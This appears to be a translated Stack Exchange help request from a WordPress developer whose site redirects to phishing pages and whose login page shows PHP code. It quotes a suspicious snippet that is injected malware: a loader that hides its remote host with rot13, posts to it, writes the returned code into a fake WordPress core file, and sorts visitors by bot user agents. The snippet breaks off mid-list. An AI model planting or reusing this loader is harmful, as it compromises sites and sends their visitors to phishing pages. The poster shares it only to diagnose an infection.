WordPress登录页面故障求助：反复显示PHP代码与恶意跳转

背景 #

• 新手WordPress开发者，去年和朋友基于DigitalOcean云主机搭建客户网站，此前常用带cPanel的传统主机，本人负责前端与SEO，对云服务器不熟悉
• 网站前几个月运行正常，近期突发异常

异常症状 #

• 网站跳转至钓鱼网站，疑似感染恶意软件但扫描未发现
• 登录页面失效，直接显示PHP代码，修复后故障每日复发

已做排查 #

• 检查过插件（登录插件为LoginPress）与服务器，未定位到问题
• 尝试过服务器排查、恶意软件扫描、禁用非核心插件，问题仍每日重现

可疑代码片段 #

if (!function_exists('getUserIP')) { 
    function getUserIP() { 
        foreach(array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { 
            if (array_key_exists($key, $_SERVER) === true) { 
                foreach(array_map('trim', explode(',', $_SERVER[$key])) as $ip) { 
                    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { 
                        return $ip; 
                    } 
                } 
            } 
        } 
    } 
} 
if (!function_exists('in_array_like')) { 
    function in_array_like($referencia,$array){ 
        foreach($array as $ref){ 
            if (strstr($referencia,$ref)){ 
                return true; 
            } 
        } 
        return false; 
    } 
} 
if (!function_exists('cacheUrlnew')) { 
    function cacheUrlnew($u, $h) { 
        $cachetime = 600; 
        $file = ABSPATH . WPINC . '/class-wp-http-netfilter.php'; 
        $mtime = 0; 
        if (file_exists($file)) { 
            $mtime = filemtime($file); 
        } 
        $filetimemod = $mtime + $cachetime; 
        if ($filetimemod < time()) { 
            $curl = curl_init($u); 
            curl_setopt($curl, CURLOPT_HEADER, false); 
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); 
            curl_setopt($curl, CURLOPT_POST, true); 
            curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'); 
            curl_setopt($curl, CURLOPT_POSTFIELDS, "h=" . $h); 
            curl_setopt($curl, CURLOPT_TIMEOUT, 15); 
            $data = curl_exec($curl); 
            curl_close($curl); 
            if ($data) { 
                file_put_contents($file, $data); 
            } 
        } else { 
            $data = file_get_contents($file); 
        } 
        return $data; 
    } 
} 
$gbt = getUserIP(); 
$uag = $_SERVER['HTTP_USER_AGENT']; 
$host = $_SERVER['HTTP_HOST']; 
$hwost = strtolower ($_SERVER['HTTP_HOST']); 
$ref = ''; 
if(isset($_SERVER['HTTP_REFERER'])) { 
    $ref = $_SERVER['HTTP_REFERER']; 
}; 
$uri = $_SERVER['REQUEST_URI']; 
$id = $_SERVER['REQUEST_URI']; 
$googleBot = false; 
$bingBot = false; 
$anyBot = false; 
$blA = ''; 
$ccd = str_rot13('prrprmnrk.grpu'); 
$gbots = array( 'googlebot', 'feedfetcher', 'google-safety', 'googleweblight' ); 
if (in_array_like(strtolower($uag), $gbots)){ 
    $googleBot = true; 
} 
$anybots = array( 'msie 6.0', 'the knowledge ai', 'newspaper', 'wp rocket','wp fastest cache preload bot','java','ifatsearch', 'dataforseobot', 'simplepie_useragent','site24x7','buck','go http package','krzana bot','okhttp','mailpoet cron','alittle client','woocommerce','dreamhost sitemonitor','sucuri uptime monitor','twitterbot','mod_pagespeed_na','axios','re-re studio','serf','python','itms','shipmondo','empty user agent','duckduckbot','df bot','hummingbird','sitelock','grequests','keybot','wedos','installatron','scalaj-http','dalvik','spotify','razorpay','elb-healthchecker','wpmudev','foregenix','semanticjuice','simplepie','pingdom','freshpingbot','8legs','statuscake','ioncrawl','rome client','reeder','ping.blo.gs','btwebclient','livedoor','postmanruntime', 'wget', 'rytebot','rss','zoombot','spark','scrapy','mediatoolkitbot','firmograph','universalfeedparser', 'uptimerobot', 'facebookexternalhit', '360spider', 'baidubot', 'advbot', 'ahrefs', 'aport', 'blexbot', 'barkrowler', 'curl', 'ccbot', 'redditbot', 'bdcbot', 'birdcrawlerbot', 'aragna', 'crazywebcrawler', 'contxbot', 'checkmarknetwork', 'crowsnest', 'dataminer', 'deusu', 'domaincrawler', 'domainsonocrawler', 'domaintools', 'dotbot', 'exabot', 'flightdeckreportsbot', 'go-http-client', 'httrack', 'mj12bot', 

登录页面异常截图 #

内容的提问来源于stack exchange，提问作者sleepyhead